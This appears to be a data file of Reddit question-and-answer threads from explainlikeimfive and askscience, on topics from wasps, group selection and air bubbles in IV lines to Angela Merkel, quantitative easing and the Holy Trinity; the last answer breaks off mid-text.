{"q_id": "1dqims", "title": "the difference between bees, hornets, yellow jackets, and wasps.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dqims/eli5_the_difference_between_bees_hornets_yellow/", "answers": {"a_id": ["c9svbk0", "c9svk0n"], "score": [20, 8], "text": ["Insects in order Apocrita have a special body structure. They consist of ants, bees, and wasps. Ants are the ones that don't fly, bees are the ones that fly around and pollinate flowers, and wasps are everything else. (There's more to it, of course, but this is ELI5 -- bees are generally pollinators and wasps are generally not.) Wasps also don't produce wax/honey, and are predators/parasites. Bees just feed on nectar (and pollen).\n\nYellowjackets are a specific kind of common wasp. Hornets are any of a family of fairly large wasps.", "Bees and wasps are completely different insects. Hornets are a type of wasp, as are Yellowjackets.\n\nOver here in the UK, we just call 'yellow jackets' wasps, which is somewhat confusing.  They're just common wasps, the kind who annoy you when you're eating outside in the summer.  They live in colonies and eat insect pests, and they have a sting.\n\nHornets are larger, and distinguished by a number of anatomical differences.  They're still wasps though, and they live in hives as well.\n\nThe term 'wasp' is commonly defined as any member of the order 'Hymenoptera' that is not a bee or an ant.  The order Hymenoptera is broadly defined as possessing membranous wings. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "r6u0h", "title": "Are there any human genetic traits that can make an individual worse off while simultaneously directly benefiting that individuals entire community?", "selftext": "So this article was featured on the front page last week: \n\n[Why the Joker and not Batman is the savior of us all](_URL_0_)\n\n\nWhich made me wonder - are there specific genetic traits that have been selected for in the human genome that can weaken the individual in which the trait is expressed while simultaneously directly benefiting that individual's overall community or social group?  \n\n\nTo summarize the example presented in the article, Jokers (aka crazy sadistic bastards who care nothing about the group benefit) actually improve the allocation of common resources among a population by increasing the solidarity of the remaining non-Joker community.\n\n\nWhile I can't intuitively imagine any evolutionary pressures that would select for a tendency for sadism in an individual human (given that our survival depends very much on our social network and community), it seems that in this example at least, the presence of one or two sadists within in a given human population can actually improve the outcomes for the total group.  I am curious whether there has been research into the possibility of natural mechanisms which can select for population-wise genetic traits above individual traits.  \n\nTo summarize my questions:\n\n1.  Is there evidence for HUMAN genetic traits that can make an individual worse off while simultaneously improving outcomes for a total population?\n\n2.  If so, what are the evolutionary pressures that may have selected for the presence of these traits in our genome?\n\n3. Bonus question - are there examples of such traits in other species?\n\nEdit: Looking for empirical data examples here.  A lot of non-scientific posts so far about altruism, but in most cases altruism in humans benefits the individual by strengthening social bonds and thus increasing the individuals likelihood of survival.  There is direct evidence for genes that activate altruistic motives in human individuals.  I'm looking for scientific data that may explain genetic traits that exist in a population without directly increasing the sole individual's odds of survival.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r6u0h/are_there_any_human_genetic_traits_that_can_make/", "answers": {"a_id": ["c43dyun", "c43dz0q", "c43efmv", "c43g931", "c43gz26"], "score": [3, 3, 7, 3, 8], "text": ["Bonus Question: I remember hearing about \"Fainting sheep\" that pass out when startled this helps the herd because it allows the whole herd to escape at the loss of the 1 sheep that passes out.\nBut it doesn't benefit the sheep that passes out at all", " > While I can't intuitively imagine any evolutionary pressures that would select for a tendency for sadism in an individual human \n\nReally?  Imagine a tribal society where a rather sadistic individual has managed to make it to tribal chief or warchief.  Food is scarce and the neighboring tribe is on good land.   He leads a raid where they entirely wipe out and enslave the other tribe.  Boom! They get both more food, and if they took slaves they get a genetic diversity boost.\n\nbut for you main question:\n\n > Is there evidence for HUMAN genetic traits that can make an individual worse off while simultaneously improving outcomes for a total population?\n\nThat's the idea behind the [\"Gay Uncle hypothesis\"](_URL_0_), you take a personal fitness hit by being gay, but you increase your relatives' fitness.\n\nBut actually evolutionary evidence?  Can't really do more than correlational studies.", "One possible argument, sickle cell trait. \n\nAn individual's fitness may be reduced by the sickle cell disease, which is a genetic blood disorder (it can lead to severe complications and death). \n\nHowever if only one of the affected alleles is passed on it confers a resistance to Malaria (the prevalence of malaria and sickle cell disease overlap greatly) in the offspring, without the fitness reducing symptoms of sickle cell disease. \n\nErgo, the parent has reduced fitness (up to and possibly including death), but potentially passes on an enhancement to the population in the form of malarial resistance. \n\n\nGiven the significant overlap of the two ailments, it appears that the selective pressure for malarial resistance is sufficient to outweigh the costs of sickle cell disease alleles within a population.\n\n\n[malaria and the Sickle Hemoglobin Gene](_URL_0_)", "I would think their would be countless examples of this in various species, especially in hive species like bees and ants. Many species are born slaves to the hive, they work and work and when they are no longer needed they are kicked out or eaten.\nAlternatively you could view aging as a gene helpful to society, but not to the individual. Why does the body start breaking down? Various views on that and why it is helpful to the population.", "EDIT: Sorry, rambled a bit...I do that when I talk about bugs sometimes....the human example is at the end. END EDIT\n\nWhat you are talking about is multi-level selection. This used to be called group-level selection, but the name has been changed to protect the innocent.\n\nBasically, it boils down to this: any observed selection phenomenon that cannot be explained on an individual basis is probably the result of selection on some other level; kin, group, population, etc. The classic example is that although a herd of fast deer is good for the herd, they are not fast because it is good for the herd; they are fast because it is good for each deer.\n\nIn contrast, a hypothetical bacterial population that produces a common resource (like a matrix for protection of the colony) does not produce the resource because it is good for the bug, but because it is good for the population. Producing the common resource is, in fact, not beneficial for the individual bug. Each bug in the population gets the same benefit, but cost is incurred only by the bugs that make the common resource. So it's in the best interest of any individual bug to cheat, and not make the common resource.\n\nBut this hurts the population, because as these cheaters expand, less of the common resource is made. Eventually, the cooperators will die out. This is where multi-level selection comes in.\n\nThe benefit conferred to each individual (cheater or cooperator) is related to the ratio of cooperators to cheaters. If 90% of the population is cooperating, there's a lot more common resource to go around. If only 10% of the population is cooperating, there's not as much common resource to go around. This gets worse for the cooperators as time goes by, as the benefit keeps going down as their numbers dwindle, but their cost remains constant. \n\nThe *benefit* operates on the group, so no individual gets more benefit than any other. Some just don't have to pay for it; the cost is unequal. Take two groups. Group A has 90% cooperators, group B has 10% cooperators. Group A (as a group) has higher fitness than group B due to the higher porportion of cooperators. So group A grows faster than group B. If you were to look at the entire population, combining both groups A and B, you would see that the total number of cooperators will increase on each generation. So even though the cooperators did more poorly in each group when viewed in isolation, they did *better* when both groups are examined as a population, because group A (and a higher porportion of cooperators) is a LOT larger than group B (with a lower proportion of cooperators). This is known as a Simpson's paradox, and it only shows up when there is competition between groups. If there was just one group, it would be gone. This has a lot of implications in microbiology, but that's another topic.\n\nHow might this play out in humans? It's hard to say. Things like this become subject to social pressures (e.g., do your duty, play fair, pay your dues), so it's hard to pull out genetic factors (which would be subtle and complex anyway).\n\nOne example I did think of while typing this out is in the immune system. Fellow immunologists, please forgive the horrid oversimplification and major assumptions that follow. You may wish to avert your eyes. \n\nYou have a set of proteins in your body that help your body recognize different pathogens. These are not antibodies, they are something else; it's kind of like one of the tools your body uses to make antibodies. You have several genes that encode for these, and there a a large number of alleles that could be at any of those loci. Think of it like this: It's a bucket full of 100's of different kinds of tools, and you pull out 6 at random. So does everybody else. Some people have some of the same tools, and some people have radically different sets of tools, but everybody has 6.\n\nYou may have a toolset that is really good at fighting off pathogens Q, W, E, and R, but sucks at fighing D, Y, and U. Betty has a toolset that's good at fighting off A, S, D, and F and sucks at fighting G, H, and W. \n\nNow we get hit with the W plague. You're fine, but Betty's fitness has taken a hit; she took one for the team. Had we been hit with the W plague, things would have been different. The point is that we could have no way of knowing which tool would be most useful, so they get spread around and combined with other tools so that all are preserved, protecting the group, but not necessarily the individual.\n\nAgain, I apologize to any and all immunologists here for that example. I shall do 7 96 well ELISAs tomorrow as pennance.\n\n\n"]}, "title_urls": [], "selftext_urls": ["http://thisorthat.com/blog/why-the-joker-and-not-batman-is-the-savior-of-us-all"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Gay_gene#Sexual_orientation_and_evolution"], ["http://sickle.bwh.harvard.edu/malaria_sickle.html"], [], []]}
{"q_id": "stp6f", "title": "Can a crocodile theoretically live forever?", "selftext": "So I watched this youtube clip with Dr. Michio Kaku giving a presentation about how the world would look like in the year 2030, simply titled Dr. Michio Kaku: \"The World in 2030\". At the end _URL_0_ he claims that some animals don't die, crocodiles and alligators and what not. \n\nSo does that mean, given the circumstances, that a crocodile can live forever if he doesn't catch a disease and is well fed? Don't they have the same aging process as the rest of us animals on this planet? And if this is true (which I am pretty skeptic about) how the hell does that work?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/stp6f/can_a_crocodile_theoretically_live_forever/", "answers": {"a_id": ["c4gvzdw", "c4gxdif", "c4gyo14", "c4h07zb", "c4h32f0"], "score": [13, 10, 6, 2, 2], "text": ["I'm pretty sure that crocodiles and aligators would get cancer eventually.  It's not well documented in them, but basically every organism will get cancer on a long enough time scale.  It's practically an inherent feature of being a multicellular organism with a circulatory system.", "I don't know about crocodiles, but tortoises are known for being incredibly resistant to aging. However, toxins and solar radiation would slowly build up mutations in the animal's DNA, eventually leading to noticeable aging and possibly cancer. ", "Some [jellyfish can](_URL_0_), but i believe that they are the largest species that is biologically immortal.", "There's been (disputed) records of Aldabra Giant Tortoises living for over 200 years. If I recall correctly, the record is around 250 years. The reason chelonians (turtles/tortoises) and crocodilians are so resistant to aging is due to the fact that they're ectothermic (cold-blooded) and have \"slower\" metabolisms than endotherms like humans. A slower metabolism means a few less frequent feeding (less danger) and slower damage to DNA and the telomeres which protect it.\n\nEverything else aside, longevity eventually comes down to \"luck\". In human context, imagine you've got a 1/75 chance of experiencing some form of severe trauma (e.g. a car wreck) in a given year. Given a hundred year lifespan, it's probably going to happen at least once. As one ages, the ability to cope with that trauma diminishes. Eventually something just happens that causes death. Nothing lives forever. (Members of the Genus Hydra are as close as it gets though.)", "_URL_0_ Here is a jellyfish that actually lives for ever."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=219YybX66MY#t=55m52s"], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Turritopsis_nutricula"], [], ["http://en.wikipedia.org/wiki/Turritopsis_nutricula"]]}
{"q_id": "6ebawg", "title": "why is angela merkel treated like she's the leader of the eu in the news coverage?", "selftext": "Why is it that everyone always seems to point to her as the new \"leader of the free world\"? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ebawg/eli5_why_is_angela_merkel_treated_like_shes_the/", "answers": {"a_id": ["di90y8y", "di90zfl"], "score": [4, 4], "text": ["Germany is the biggest country/economy in the EU, and bailed out much of the rest of Europe during the financial crisis. So Germany is kind of a first among equals in Europe.", "Germany is the EU's strongest country. Because of this Germany has a lot of influence in the EU. Merkel, as Germany's Chancellor largely decides what Germany does in the EU.\n\nAlso, she one of the longest-serving democratic heads of government in Europe. Everybody knows her and not even her opponents doubt that she is a highly skilled politician. This gives her personally a lot more influence and gravitas over other and younger heads of government of other EU member states.\n\nHowever, even her role is far too small to be considered \"leader of the free world\" (isn't that already a contradiction in itself?) Neither she nor anybody in Germany (and probably most of Europe) considers her that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "zu3cq", "title": "this qe3 thing that was approved today and what does it mean for me?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zu3cq/eli5_this_qe3_thing_that_was_approved_today_and/", "answers": {"a_id": ["c67q8a7", "c67rt81", "c67wauf"], "score": [8, 2, 2], "text": ["The Fed announced they were basically going to be releasing a lot of money into the economy (called Quantitative Easing, or QE) to help spur growth. The difference this time vs. the last few times they did this is that this time, they're not putting a cap on that QE. Last time, they said they'd stop after so many dollars. This time, they're not stopping until the economy is where they'd like. \n\nAs for what that means for you: it should (if the Fed is correct) mean faster economic growth and lower unemployment over the next few months to a year. It may mean slightly higher inflation over a longer period, but this hasn't occurred with prior QE plans.", "Isn't this helping the banks  &  hoping for the trickle-down to real people?", "Can anyone explain what impact this will have on the US debt to China?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4n11rb", "title": "how much power/influence does the pm of canada (or parliament in general) have over the state of canada's economy?", "selftext": "This may be a tricky question to answer (or not?) but I don't understand the logic behind blaming the PM for the state of the economy, especially when our economic system is based off of having as little government intervention as possible. Also, the economy is a much bigger system than one country's government, so how can the actions of Parliament really be the fault for the entire state of its country's economy?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4n11rb/eli5_how_much_powerinfluence_does_the_pm_of/", "answers": {"a_id": ["d40gumi"], "score": [2], "text": ["The prime minister is head of the legislature and principally the head of state (not legally but in practice). When a party wins the parliamentary elections the leader of the party becomes prime minister. Therefor they have either full control of law making (majority) or the biggest influence (minority). As such they can set economic policy, usually in the way of tax benefits for industries they want to improve. They can also clear spending on social programs, set taxes and tariffs, trade policies and so on. If anything the Canadian Prime Minister has more effect over the economy than the US president, who often has to work against a divided set of politicians. \n\nOn top of all that party discipline is very high in Canada. If your party or it's leader tells you to vote one way you vote that way or else. Imagine if the president got to tell congress and the senate how to vote. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b1w2t3", "title": "there's a lot of different laundry detergents available on the market, is there any actual difference between them? (for colored fabrics, white, delicates, etc)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b1w2t3/eli5_theres_a_lot_of_different_laundry_detergents/", "answers": {"a_id": ["eioma55", "eioohff", "eiov33n"], "score": [9, 11, 2], "text": ["Have you ever tried washing colored bed sheets with white detergent? I have. Wife was not happy.", "AFAIK, the only detergent that is \"different\" is the one for white fabrics - it\u00b4s got a mild bleaching agent in it, to make your whites whiter. Other than that, I think they\u00b4re all pretty much the same. ", "There\u2019s detergents like scented/non scented and organic/natural which are pretty obvious, then really the only other distinctions I\u2019d make would be that detergent for white clothes has a little bleach in it that you shouldn\u2019t use with colored clothing and that HE or high efficiency detergents are for front loaders"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6xf8xc", "title": "having high blood pressure is bad, but having really good cardio means your resting heart rate is lower. doesn't that increase your blood pressure since your heart beats harder? why isn't this bad?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6xf8xc/eli5_having_high_blood_pressure_is_bad_but_having/", "answers": {"a_id": ["dmffrgj", "dmfnnt5"], "score": [9, 3], "text": ["Your heart is the pump that circulates blood.  In order to maintain the necessary blood flow it either pumps faster or pumps slower.  Assuming everything is equal and one persons heart pumps at 80bpm and another at 60bpm.  The pressure is the same because the flow rate is the same.  \n\nNow blood pressure usually increases when there's changes in the veins that resist blood flow.  To get the same blood flow through thinner veins you need higher pressure which will also cause the heart to pump faster.  ", "When your resting heart rate decreases with exercise, it does so because your heart muscle is getting stronger and more efficient.  It does a better job in how it pumps the blood through your body. This isn't the same a blood pressure, though the two are somewhat related. The more efficient heart will tend to lead to lower blood pressure. \n\nHaving a low resting heart rate without exercise isn't the same. That may be due to heredity, drugs, injury, and illness. It should be followed my an MD.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8b3kuo", "title": "what is the attorney-client privilege and when is it disregarded?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8b3kuo/eli5_what_is_the_attorneyclient_privilege_and/", "answers": {"a_id": ["dx3pc5w", "dx3pkq5", "dx3qb67"], "score": [21, 8, 2], "text": ["\n\n\n\nAttorney-client privilege is a privilege - a protection allowed under law, that protects communication between an attorney and their client and prevents them from being forced to testify.  This allows attorneys to do their job and be able to properly defend their client.  It's very hard to come up with a good defense if your lawyer can't discuss the elements of the case with you.\n\nThere are ways that the privilege can be broken.  If a third party is present, there can't be privileged (note co-counsel or other agents of the attorney don't count) and the attorney cannot use privilege to cover up crimes unrelated to the case at hand.", "Attorney-client privilege means that a lawyer cannot under most circumstances be compelled to share any communication with their client.  If that weren't the case, defense attorneys could be called as witnesses against their own clients, which would make their jobs almost impossible to do, even with an innocent client.\n\nThere are many opinions about when privilege can be breached, but there are a few exceptions:\n\n* if a lawyer helps a client break the law, or has knowledge of future intent to break the law (crime-fraud exception)\n* if the lawyer and client are involved in a legal dispute involving the case, like malpractice or non-payment\n* if the client is dead", "Lawyers cannot discuss, or be compelled to discuss communications with their clients regarding legal advice or a case. \n\nIt does not apply to cover ups or criminal conspiracies. It does not cover any extraneous advice such as business strategy or investment advice. It does not apply if there is a non client or Co counsel third party present. The client can waive his/her right to privilege. The attorney is bound by threat of being disbarred. \n\nIf privileged communications are uncovered in the course of an investigation, they must be ignored. This is done by having a separate person or team sort through the comms to filter out anything privileged. That person(s) will not be able to continue in the investigation.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6znpw1", "title": "why is it okay for iv drips to have air bubbles running through the lines?", "selftext": "I've always heard of the horrendous things that happen if air gets in the veins. What's the safe guard here? I about freaked out last time I had an IV because I saw air bubbles running towards my hand. The nurse just said, \"nah, that's fine.\"\n\n* To clarify: I saw large gaps of air in the IV line throughout the time I was hooked up to it. I'm sure I'm fine as this was almost a year ago, but out of curiosity I've done a bit of research and keep finding contradictory reports. One side seems to believe that a bit of air through an IV won't kill anybody so it's completely fine. The other, claims that it still does damage to certain cells and systems of the body, and there's no reason for air bubbles to be in the lines in the first place. They claim it's a product of lazy medical practice and it should really stop. I, on the other hand, am a landscaper, machinist, and gunsmith in training, who can't understand half of what either side is saying, hence the ELI5.\n\n*I just can't type today. Anymore typos in this awfully written post will just have to be ignored. I'm not usually illiterate I promise.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6znpw1/eli5_why_is_it_okay_for_iv_drips_to_have_air/", "answers": {"a_id": ["dmwog76", "dmwqnnq", "dmwt17t", "dmwt2yk", "dmwtd01", "dmx2x97", "dmx6gdi", "dmx97ts", "dmxmr7m", "dmxoj2q", "dmxp4ws", "dmxrkk0", "dmxssex", "dmxvkfk"], "score": [3, 62, 8, 6, 1850, 2, 3, 5, 2, 2, 98, 5, 2, 3], "text": ["Injecting air into an IV to kill someone is an urban legend.   A massive amount of air is dangerous, but a small amount is not.", "The most feared complication of an 'air embolus' (in that you could die immediately) requires enough air to obstruct the outflow tract of the right ventricle.  Basically causes an air ball-valve effect that prevents any blood from leaving the right side of the heart.  Smaller amounts of air that are introduced into your veins will simply be absorbed as they move through pulmonary capillaries in the lung and not cause you any issue.  In regards to how much, most traditional studies show that 200cc should be fatal.  Recently case reports have suggested somewhere between 50-100cc could be as well, but I can't find any precisely agreed upon amount.\n\nThe other potential complications can occur only if there is some way that air can travel from the right side of your heart to the left, without passing through the lungs.  Most commonly, this would be through a patent foramen ovale, or PFO, that allows blood to be shunted without passage through the lungs.  There are other possibilities but require some kind of 'abnormal' communication.  In that scenario, an air embolism could cause a myocardial infarction or stroke due to obstruction of an artery as mentioned as it was able to cross from venous to systemic circulation without being 'filtered' through the lungs.\n\nSo, in practice, we use filters or aspiration of fluid and blood to clear IV lines to try and prevent it, but small amounts of air should not cause any detriment as you noticed.", "There's a difference between a rapid infusion of a large volume of air and a slow infusion of a small volume of air.  For the most part, our bodies can deal with small amounts of small volumes (a small number of small bubbles), but the danger comes when you introduce a large volume of air quickly into the circulatory system.  In popular culture the bad guy injects a large volume of air into a victim's neck quickly, causing death due to an embolism.  \n\nPump fed IV-lines have built in bubble detectors to make sure that they're not a threat to the patient, but gravity fed lines can be more of a problem if proper precautions are not met and most medical professionals have the proper training to reduce the incidence of harmful bubbles in IV-lines.", "1) you need a lot of air to cause any big issues.\n\n2) if you're using a pump it'll alarm like a banshee at the slightest bubble, often when a bag has run empty you'll see a bunch of air in it cause it's above the pump and no longer flowing. This is the same with gravity fed, there is no pressure so the air doesn't get pushed in.\n\n3) if you've hung and primed the tube like a noob, it's often easiest to let the bag empty for a bit till the air moves down, the you lock the port near the wrist and use a syringe to suck the air out. This way you don't waste whatever you're giving your patient, however this method requires you to watch the air move down. \n\n4) Cause the tubes are so thin it looks likes like a lot of air when it's actually only a little bit", "RN here. There are two main types of IV lines. Peripheral IVs and central lines. Peripheral IVs are typically inserted into a small vein of the arm or hand and have a tiny diameter. This is what most people think of as an IV. Central lines (google PICC ) have a much larger diameter and are inserted in larger veins and terminate in one of the body's large vessels -e.g Superior Vena Cava very close to the heart. The real danger of air in the circulatory system is that if a bubble is large enough and makes it to the brain it can cause a blockage called an embolism in one of the smaller vessels supplying blood to the brain. This would essentially cause a stroke. A small amount of air passing ( < 10ml-about the size of a test tube from HS chemistry) passing through a peripheral IV just simply can't form a large enough bubble to pose a danger. In fact it has been estimated that you would need as much as 100ml of air pushed through a peripheral IV to do harm. Those tiny bubbles just get dissolved in your blood very quickly. A central line however is a much different situation. Because they have a much larger diameter and are placed in larger vessels with larger volumes of blood then it doesn't take much air for a large bubble to form. A few tiny bubbles of air that you would typically see in IV tubing is not likely to do any harm but as little as 2-3ml air pushed in all at once with a medication for instance could easily be dangerous in a central line. That's why nurses trained to clear all the air from syringes used for central lines.  It all about how big of  bubble can form in your blood. So if you have peripheral IV in your arm or hand and you see a few bubbles in your IV tubing don't let it concern you it's just not enough to hurt you. ", "Air bubbles from an IV line travel through the veins, back to the right side of the heart, and out to the lungs, where the bubbles easily leave the circulation and get exhaled.  Unless you have a specific type of defect in your heart, there's no way for those bubbles to reach your brain or other organs.  The danger comes when large amounts of air enter an IV line and lock up the right side of the heart, preventing normal blood flow, but that takes a lot more than bubbles. ", "Your IV drip may be required to have a [little dime-shaped thing](_URL_0_) somewhere along it, which passively separates and expels the air from the drip.  It's pretty cool.", "Air is only of major concern in arterial lines.   True, don't inject more than 30 ml or so in a venous line, but air in the arterial system can be very dangerous with just tiny bubbles.", "Something to consider is the IV line has a bit of a lensing effect, making the air bubble look a lot bigger then it really is.", "In a combat life saver course with the army I saw a guy forget to bleed the air from an entire IV drip line and open the drip into the other guys arm.\n\nI about dove across the room to turn it off, only to be told by the instructor that it was no big deal.\n\nI thought for sure the dude was about to die lol. Those IV lines were long too, so there was a lot of air that should have been purged. But it was probably only a few tens of mL (guess).", "I read IV as Roman numerals and only came here for clarification on why it was ok for 4 drips to have air bubbles running through their lines. I had completly had 100% no idea what was going on.", "Doctor here, at medical school we were taught that anything over 10ccs of air given IV can be lethal, as an air embolus that size can cause cardiopulmonary arrest. All veins are, practically speaking, a non stop highway to the heart, and it is unlikely the air would pass through the heart, and certainly would go no further than the capillary bed of the lungs, which would be the next port of call. 10ccs of air would fill a roughly 90-100cm length of UK IV giving set tubing. Smaller bubbles are usually harmless as they can dissolve into the blood and other tissues without causing any havoc. In fact, tiny bubbles are deliberately injected IV during 'bubble study' echocardiograms which are used to detect holes in the heart. ", "Im a dairy farmer, when our cows go down with milk fever we give them a 500mL bag of Calpromag (Calcium and Magnesium mixture/solution?) via the Jugular Vein or the Milk Vein, I have seen what happens when air gets into the veins, the cow died within 2 minutes, it wasn't a very nice sight", "I was in the hospital for a knee surgery a while back, and they kept me overnight. During one of my IV changes, I saw a pretty large air bubble (maybe 20 inches of line) go into my hand. I asked the nurse about it, and she was most of the way through telling me that it was nothing when my heart felt like it was jumping out of my chest. The heart monitor I was hooked up to started alarming. She looked worried. I was worried. Then it passed.\nSomeone else came by (guessing a head nurse?), and asked me about what happened. I said I saw some air in my IV, which she said was normal, but didn't seem pleased when I mentioned how much there was. I had a different nurse for the rest of my stay."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://shop.pall.com/us/en/medical/infusion-therapy/iv-fluids/supor-aef-intravenous-filter-set-zidgri78m2i#attr_description"], [], [], [], [], [], [], []]}
{"q_id": "48xsf4", "title": "Is it possible to integrate by parts with more than 2 parts, and if not why not?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/48xsf4/is_it_possible_to_integrate_by_parts_with_more/", "answers": {"a_id": ["d0nfqev", "d0nnk09"], "score": [12, 8], "text": ["Yeah, you have to iterate the process though. You could try deriving a formula for it using the product rule on 3 terms, like compute (fgh)', manipulate and integrate, but that formula will be messy to deal with.\n\nAlso it's math, so I mean you can do this yourself. Try integrating x/(1-x^2) by factoring and doing integration by parts (the integral is easy to do direct, it is -1/2ln (1-x^2) )\n\nEdit: actually that example may not be doable by parts. Do it in reverse, let f (x)= x e^x sin (x)\n\nDifferentiate, you get 3 terms, each of those terms you should be able to compute the integral of by parts. Integration by parts is the \"reverse\" product rule, derivatives of products of functions gives you stuff that you can then integrate by parts. This is a great way to generate practice problems too. ", "usually you'll do something like int ugh = int u(gh)\nand then have u as a derivative f' or something like that.\n\nkeep in mind that the method relies on you knowing how to antiderive some of the factors, so since\n\n(fgh)' = f'gh + fg'h + fgh'\n\nint f'gh = fgh - int(fg'h) - int(fgh')\n\nbegs the question whether you are better off doing that.\n\nit's really the same as treating gh as a single function:\nint f'gh = fgh - int(f (gh)')"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7ynhdr", "title": "why are most men not able to have multiple ejaculations in a small amount of time? wouldn't it be a good thing (biologically speaking) if they were able to have sex multiple times?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ynhdr/eli5_why_are_most_men_not_able_to_have_multiple/", "answers": {"a_id": ["duht1qb", "duht8w5", "duhtjrr", "duhu3fw", "duhu59d", "duhwza5"], "score": [11, 3, 5, 3, 2, 2], "text": ["In theory, it would be possible to split up sperm for multiple. But in practice, it is unlikely that you will be with multiple women in one sitting and it is better for the chances of convincing a child if all resources and sperm are devoted toward impregnating a single woman rather than saving for the small posibility of multiple.", "From a biological standpoint it might be better if men could ejaculate from a distance. And if the sperm had exoskeletons and skittered after their targets like that thing from \u2018Alien\u2019. So: ejaculate at will, no recharge, and sperm like \u2018Aliens\u2019.  Done. ", "Male fertility is not the rate limiting factor in human reproduction.  Female fertility is much more important in avoiding extinction.  Behaviorally, jumping out of bed with one woman to pursue another isn't the \"I'll help nurture your child for 18 years\" message females would biologically look for.", "Natural selection doesn't work like that. It doesn't plan ahead and then force a trait. If this trait appeared randomly and gave a huge benefit to the man with that trait and he fathered many sons with that trait, it could gain traction. ", "Pregnancy is a highly unlikely event from a single sperm's perspective.\n\nFrom the male's perspective it is best to give it all you have rather than just a few.\n\nSo an ejaculation containing the most sperm is your best shot at pregnancy.  It takes a while to make new sperm and recharge the system.  So have the most sperm in one ejaculation makes the most sense from the evolutionary perspective.", "Evolution doesn't optimize that way. The easy answer is that refractory period exist to give other males a turn. The fact that females have multiple orgasims is sorta the reason why men dont. Mating used to be a little different for early humans (pre-agriculture). It was much less monogamous, and society was more communal. Females would have sex with multiple males of their choice. In a way, it is the womans capability to have mutliple orgasms that shaped the male's penis. Why is it kinda mushroom-shaped at the end? It's a scoop. A cum scoop to extract any of the \"competition\" during sex. It also explains why we have such big penises. Out of all the great apes, humans have the largest, longest penises. Also, unlike any other primates, we have no baculum (penis-bone), which allows us more sex positions. And, unlike other primates, we no longer have penile spines (small bristles that make the penis more sensative) either. Without these spines, human penises are less sensative and sex can last longer- be more enjoyable for the female. Almost all of these evolutionary changes are based on female selection, just like most species. Female peacocks prefer big-bright tail feathers; female humans prefer good lovers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "334chp", "title": "why does the church allow people to worship jesus", "selftext": "The scripture clearly says not to Worship anything other than GOD and not to make a carved image of anything in heaven. So how does the church justify going against this and allow people to wear images of Jesus and worship him\n\nEDIT: Wow excellent replies that have helped my understanding of the Holy Trinity. Some more questions raised but hey, thats the Joy of Learning :-)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/334chp/eli5_why_does_the_church_allow_people_to_worship/", "answers": {"a_id": ["cqhe698", "cqhe7r1", "cqhe7r3", "cqheeuw", "cqhepq8", "cqhfhlb", "cqhfigj", "cqhfpis", "cqhg63q", "cqhh37j", "cqhp5gf", "cqi05jv"], "score": [8, 2, 9, 2, 2, 3, 6, 16, 2, 2, 2, 2], "text": ["Because they see the holy trinity as an extension of one being.  Christ is god made man.\n\n*these are not my views just my understanding of those views.", "Because the Church professes Jesus to be God Incarnate.", "The holy trinity. Basically, God is divided into three parts: the father (God), the son (Jesus), and the Holy Spirit. So, Jesus is a part of God.", "You've hit on one of the fundamental differences between Judaism and Christianity. Christianity not only \"allows\" for the worship of Jesus, but requires it. For this reason, many scholars would argue therefore, Christianity is not a true monotheistic religion. If you are just starting to delve into biblical writings, I encourage you to keep digging. You will find a rich selection of contradiction and misdirection. Enjoy your journey.", "God is Jesus, Jesus was god and lived among the people but jesus is Gods son who he sacrificed i dunno", "As a Catholic, it can be somewhat confusing at times. The holy trinity is, as you'd expect, three things. BUT it's also considered one holy God. It's like this: It's three parts of God, which in a way makes sense. God the Father, God The Son and God The Son*. God the Son isn't considered a separate God, but rather the same as His father. Essentially, they are three different people, but with the same Holy power to form one God.\n\nEDIT: *God the Holy Spirit", "\nYou're right on the first count (example, [Luke 4:8]( _URL_1_)).\n\n >  >  And Jesus answered and said unto him, Get thee behind me, Satan: for it is written, **Thou shalt worship the Lord thy God, and him only shalt thou serve.**\n\nOn your subsequent contention, the decision was not made by the 'Church'. One of the fundamental aspects of Christianity is monotheism (example, [Deuteronomy 6:4](_URL_2_)).\n\n >  > Hear, O Israel: The Lord our God is one Lord:\n\nTo reconcile monotheism with the existence of a God-figure and Jesus (not to mention the Holy Spirit), one may fall back to [Philippians 2:5-7](_URL_0_), which essentially states that Jesus is a facet of God.\n\n >  > Let this mind be in you, which was also in Christ Jesus: Who, being in the form of God, thought it not robbery to be equal with God: But made himself of no reputation, and took upon him the form of a servant, and was made in the likeness of men:\n\n*Full disclosure: 